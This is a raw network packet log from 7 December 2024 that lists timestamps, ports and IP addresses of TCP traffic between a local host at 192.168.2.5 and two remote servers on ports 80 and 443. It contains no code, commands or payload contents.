Dec 7, 2024 08:43:53.733577967 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.733616114 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.734580994 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.734644890 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.857383013 CET	443	49802	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:53.857433081 CET	443	49802	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:53.857503891 CET	49802	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:53.857779980 CET	49802	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:53.857795954 CET	443	49802	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:53.857806921 CET	49802	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:53.857811928 CET	443	49802	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:53.859988928 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.860099077 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.860166073 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.860507965 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.860554934 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.860615969 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.860666037 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.861191034 CET	49807	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:53.861217022 CET	443	49807	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:53.861587048 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.861660004 CET	49807	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:53.861686945 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.861715078 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.861735106 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.861835957 CET	49807	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:53.861846924 CET	443	49807	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:53.862662077 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.862720013 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.862773895 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.862819910 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.863744020 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.863929033 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.863976955 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.864808083 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.864850998 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.864914894 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.864962101 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.865881920 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.865927935 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.866003990 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.866048098 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.877933979 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.877988100 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.878057003 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.878099918 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.878329039 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.878375053 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.878403902 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.878534079 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.879261971 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.879316092 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.879375935 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.879420996 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.880287886 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.880342007 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.880393982 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.880448103 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.881437063 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.881484985 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.881520987 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.881567001 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.882460117 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.882507086 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.882529974 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.882570982 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.883543015 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.883591890 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.883645058 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.883688927 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.884577990 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.884624958 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.884696960 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.884743929 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.885703087 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.885752916 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.885787964 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.885833979 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.886746883 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.886795044 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.886856079 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.886914968 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.886914968 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.887823105 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.887871981 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.887911081 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.887957096 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.888911009 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.888959885 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.888966084 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.889003038 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.889965057 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.890012026 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.890091896 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.890230894 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.891073942 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.891166925 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.891210079 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.892132998 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.892185926 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.892304897 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.892365932 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.893193007 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.893235922 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.893290043 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.893341064 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.894267082 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.894321918 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.894427061 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.894471884 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.895350933 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.895396948 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.895514011 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.895560026 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.896395922 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.896442890 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.896501064 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.896548986 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.897484064 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.897531986 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.897589922 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.897634029 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.898551941 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.898598909 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.898660898 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.898711920 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.899640083 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.899689913 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.899749994 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.899796009 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.900722027 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.900769949 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.900830030 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.900882959 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.901770115 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.901817083 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.901875973 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.901922941 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.902884007 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.902930975 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.902932882 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.902971029 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.903955936 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.904000998 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.904074907 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.904120922 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.905008078 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.905055046 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.905129910 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.905174971 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.906054974 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.906168938 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.906220913 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.907181978 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.907231092 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.907272100 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.908221960 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.908271074 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.908325911 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.908366919 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.909305096 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.909354925 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.909414053 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.909457922 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.910398960 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.910443068 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.910511017 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.910554886 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.911449909 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.911580086 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.911628008 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.912523031 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.912570000 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.912606955 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.912653923 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.913587093 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.913629055 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.913692951 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.913734913 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.914669991 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.914715052 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.914776087 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.914819002 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.915754080 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.915872097 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.915920019 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.916806936 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.916862965 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.916985989 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.917053938 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.917905092 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.917999983 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.918051004 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.919001102 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.919050932 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.919097900 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.919147015 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.920043945 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.920147896 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.920197964 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.921180964 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.921231031 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.921303034 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.921353102 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.922243118 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.922286987 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.922338009 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.922383070 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.923280001 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.923301935 CET	443	49806	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:53.923367977 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.923393011 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.923428059 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.923774004 CET	49806	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:53.923789978 CET	443	49806	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:53.924217939 CET	49806	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:53.924222946 CET	443	49806	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:53.924312115 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.924360991 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.924432993 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.924482107 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.925502062 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.925554991 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.925673962 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.925715923 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.926475048 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.926522017 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.926565886 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.926609039 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.938646078 CET	443	49803	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:53.938721895 CET	443	49803	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:53.938771963 CET	443	49804	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:53.938776016 CET	443	49805	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:53.938779116 CET	49803	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:53.938826084 CET	443	49805	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:53.938839912 CET	443	49804	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:53.938889027 CET	49804	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:53.938894987 CET	49805	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:53.938949108 CET	49803	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:53.938971043 CET	443	49803	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:53.938982964 CET	49803	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:53.938987017 CET	443	49803	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:53.939043999 CET	49804	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:53.939057112 CET	443	49804	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:53.939083099 CET	49804	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:53.939090014 CET	443	49804	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:53.940573931 CET	49805	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:53.940582991 CET	443	49805	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:53.940593004 CET	49805	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:53.940598965 CET	443	49805	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:53.943233013 CET	49809	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:53.943250895 CET	443	49809	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:53.943283081 CET	49808	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:53.943295956 CET	443	49808	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:53.943308115 CET	49809	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:53.943356037 CET	49808	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:53.944190025 CET	49810	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:53.944195986 CET	443	49810	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:53.944331884 CET	49809	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:53.944341898 CET	443	49809	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:53.944344997 CET	49810	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:53.944421053 CET	49810	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:53.944431067 CET	443	49810	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:53.944499016 CET	49808	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:53.944506884 CET	443	49808	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:54.052052021 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.052131891 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.052195072 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.052529097 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.052577972 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.052747965 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.052793026 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.052860022 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.052902937 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.053848028 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.053891897 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.053992987 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.054035902 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.054929018 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.054975033 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.055025101 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.055067062 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.055979967 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.056122065 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.056164980 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.057080030 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.057123899 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.057246923 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.057291031 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.058506012 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.058552980 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.070168018 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.070224047 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.070374012 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.070662975 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.070727110 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.070791006 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.070837975 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.071712017 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.071883917 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.071927071 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.072796106 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.072839975 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.072858095 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.072894096 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.073864937 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.073909044 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.073940039 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.073981047 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.074949026 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.074997902 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.075089931 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.075136900 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.075997114 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.076044083 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.076114893 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.076162100 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.077133894 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.077179909 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.077289104 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.077336073 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.078130960 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.078181982 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.078238964 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.078286886 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.079222918 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.079279900 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.079283953 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.079325914 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.080331087 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.080385923 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.080444098 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.081379890 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.081434965 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.081471920 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.081520081 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.082417965 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.082465887 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.082528114 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.082565069 CET	49795	80	192.168.2.5	185.215.113.16
